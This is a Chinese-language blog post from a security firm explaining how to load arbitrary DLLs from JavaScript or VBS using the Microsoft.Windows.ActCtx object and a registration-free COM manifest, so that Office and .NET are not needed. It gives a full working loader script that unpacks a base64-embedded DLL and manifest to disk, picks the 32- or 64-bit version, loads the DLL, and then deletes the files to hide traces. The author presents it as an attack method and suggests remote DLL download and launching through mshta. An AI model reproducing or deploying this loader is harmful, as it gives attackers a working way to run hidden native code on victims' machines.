劍走偏鋒,JavaScript指令碼動態載入DLL
目前網上公佈通過JavaScript等指令碼載入DLL動態連結庫的方法有2種,一種是利用Excel.Applicationobject's RegisterXLL()進行DLL載入,另一種是James Forshaw開源的工具DotNetToJScript,這2種方式都非常巧妙,但是也存在一定的缺陷,就是必須確認目標主機安裝了Office(Excel)元件或者.NET Frameword,關於這兩種利用方法請參考文件最後連結。
為了嘗試繞過這些限制,我無奈只能詢問Google,功夫不負有心人,搜尋結果反饋我微軟提供了一個物件(Microsoft.Windows.ActCtx Object),該物件可以載入一個不需要註冊的COM元件(動態連結庫的一種),詳細描述請參考
抱著一切不以實戰出發的技術研究都是蝦扯蛋的原則,咱們直接進入正題。
這次主要利用Microsoft.Windows.ActCtx物件的Manifest屬性,該屬性指定了一個Manifest檔名,Manifest檔案的主要作用是用於繫結和啟用COM類、介面和庫的相關資訊,在XP及以後的Windows系統中,系統在執行EXE可執行檔案時會首先讀取Manifest檔案,獲得EXE檔案需要呼叫的DLL列表(此時獲得的,並不直接是DLL檔案的本身的位置,而是DLL的Manifest),作業系統再根據DLL的Manifest檔案提供的資訊去尋找對應的DLL。
微軟msdn上的一個配圖比較直觀地描述了這一過程:
在Windows系統中,如果應用程式指定了元件依賴關係,則程式啟動時首先在WinSxS資料夾中查詢共享元件,若未找到,則在程式安裝目錄下查詢私有元件。
在大部分的情況下,元件的查詢順序如下所示:
1)WinSxS資料夾
2)\\<appdir>\<assemblyname>.DLL
3)\\<appdir>\<assemblyname>.manifest
4)\\<appdir>\<assemblyname>\<assemblyname>.DLL
5)\\<appdir>\<assemblyname>\<assemblyname>.manifest
更詳細的描述可以檢視msdn中的AssemblySearching Sequence。
首先通過VisualStudio 2010編寫一個簡單的DllDemo,該DLL的主要功能彈出測試視窗。
然後編寫一個JavaScript檔案,
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx"); actCtx.Manifest = "WindowsScriptHostExtension.manifest"; // ① try{ var DX = actCtx.CreateObject("WindowsScriptHostExtension"); // ② } catch(e){ } |
① 代表Manifest檔名,可以帶絕對路徑(推薦該方式),但請注意路徑格式,可採用的路過格式為
actCtx.Manifest = "C:\\jsloadDll\\WindowsScriptHostExtension.manifest";
或
actCtx.Manifest = " C:/jsloadDll/WindowsScriptHostExtension.manifest";
如果檔名不帶絕對路徑,則載入可能失敗,因為和程式執行時的環境變數有關。
例如雙擊執行loader.js,通過ProcessMonitor監控可以發現wscript.exe能正確找到manifest檔案。
但是通過命令列下呼叫cscript.exe執行(路徑為C:\WINDOWS\SYSTEM32),則查詢manifest檔案失敗。
② CreateObject的名稱必須和Manifest檔案中的progid值一樣即可。
最後再編寫一個Manifest檔案:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <file name="WindowsScriptHostExtension.dll"> <!-- ① --> <comClass description="DynamicWrapperX Class" clsid="{CE794ABE-C0AA-474E-8EEC-3EAAFA88F1CE}" threadingModel="Both" progid=" WindowsScriptHostExtension"/> <!-- ② --> </file> </assembly> |
① 與Manifest關聯的DLL檔名,注意此處如果採用絕對路徑將會失敗。
② progid值必須和JavaScript檔案中CreateObject的值一致。
現在總結一下研究過程中遇到的問題:
(1) 因為路徑的問題導致載入DLL失敗;
這個通常出現在Manifest檔案file欄位中name值的設定錯誤原因,經過測試為了更適用於Windows XP至最新的Win 10作業系統,強烈推薦檔名前加上 ./ 或.\ (例如./4dogs.dll或.\4dogs.dll),然後將DLL模組和JavaScript檔案放置於同一目錄下即可。
(2) 因為動態連結庫的版本不確定原因(無法正確識別32位和64位宿主程式)導致載入DLL失敗;
測試中如果宿主程式(例如wscript.exe或cscript.exe)是64位,而我們放置的DLL模組是32位,則會載入失敗,同理32位宿主也無法載入64位的DLL模組。
為了更加準確的判別宿主程式版本,可以通過一段JavaScript指令碼實現:
// 識別作業系統 var oShell = new ActiveXObject("WScript.Shell"); var oUserEnv = oShell.Environment("Process"); var colVars = new Enumerator(oUserEnv); var platform = oUserEnv("PROCESSOR_ARCHITECTURE"); if (platform == "AMD64") // bala bala bala; else // bili bili bili bili; |
(3) 子檔案太多,作為一個實戰派,我們應當儘量將功能集中在一個檔案中完成,類似於James Forshaw開源的DotNetToJScript,設計思路是將Manifest和DLL檔案”封裝”在JavaScript程式碼中,執行後動態釋放到JavaScript檔案目錄下,並且在執行完畢後可以清理DLL模組和Manifest檔案,具體請參考loader.js程式碼。
// Base64解碼函式 function base64decode(base64str, binary_file_save_path) { var xml = WScript.CreateObject("Microsoft.XMLDOM"); var node = xml.createElement("base64-node"); node.dataType = "bin.base64"; node.text = base64str; var binary_data = node.nodeTypedValue; var sw = new ActiveXObject("ADODB.Stream"); sw.Type = 1; // binary sw.Open(); sw.Write(binary_data); sw.SaveToFile(binary_file_save_path); sw.Close(); }; // Manifest檔案 var base64ManifestHead = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KPGZpbGUgbmFtZT0iLi9XaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbi54"; // Manifest檔案前段 var base64ManifestEnd = "iPg0KPGNvbUNsYXNzDQoJZGVzY3JpcHRpb249IkR5bmFtaWNXcmFwcGVyWCBDbGFzcyINCgljbHNpZD0ie0NFNzk0QUJFLUMwQUEtNDc0RS04RUVDLTNFQUFGQTg4RjFDRX0iDQoJdGhyZWFkaW5nTW9kZWw9IkJvdGgiDQoJcHJvZ2lkPSJXaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbiIvPg0KPC9maWxlPg0KPC9hc3NlbWJseT4="; // Manifest檔案後段 var Manifest;
var DLL32 = "bilibilibili"; // 32位DLL動態連結庫檔案base64編碼後的內容 var DLL64 = "balabalabala"; // 64位DLL動態連結庫檔案base64編碼的內容 var DLLName, DLLBin;
// 識別作業系統 var oShell = new ActiveXObject("WScript.Shell"); var oUserEnv = oShell.Environment("Process"); var colVars = new Enumerator(oUserEnv); var platform = oUserEnv("PROCESSOR_ARCHITECTURE"); if (platform == "AMD64") { Manifest = base64ManifestHead + "NjQ" + base64ManifestEnd; DLLName = "./WindowsScriptHostExtension.x64"; DLLBin = DLL64; } else { Manifest = base64ManifestHead + "MzI" + base64ManifestEnd; DLLName = "./WindowsScriptHostExtension.x32"; DLLBin = DLL32; }
// 釋放Manifest和DLL模組 base64decode(Manifest, "./WindowsScriptHostExtension-test.manifest"); base64decode(DLLBin, DLLName);
// 載入DLL var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx"); actCtx.Manifest = "./WindowsScriptHostExtension-test.manifest"; try{ var DX = actCtx.CreateObject("WindowsScriptHostExtension"); } catch(e){ }
// 刪除Manifest檔案 try{ fso = new ActiveXObject("Scripting.FileSystemObject"); var f1 = fso.getfile("./WindowsScriptHostExtension-test.manifest"); f1.Delete(); } catch(e){ }
// 刪除DLL模組檔案 try{ fso = new ActiveXObject("Scripting.FileSystemObject"); var f1 = fso.getfile(DLLName); f1.Delete(); } catch(e){ } |
上述程式碼大部分取自於網際網路,可能有處理不足的地方,請自行修補。
關於最後一些想說的:
1) 利用Manifest的方式載入Dll通用性較強,可從WindowsXP到Win 10(32位和64位)均通用。
2) 利用方式應該不單單隻有這些,比如可以通過遠端下載DLL的方式來減少JavaScript檔案大小,或配合mshta等其它宿主程式來執行JavaScript程式碼,希望有更多的大犇能共享其它利用技巧。
3) 該方式也適用於vbs。
4) 獲取DLL模組base64編碼的快速方式是利用certutil程式,命令如下:
certutil -encode bin.dll Encode.txt
然後去除頭部和尾部的註釋部分,替換掉換行符號即可。
參考文件:
本文為四維創智原創文章,如需轉載或刊登,請註明原文出處。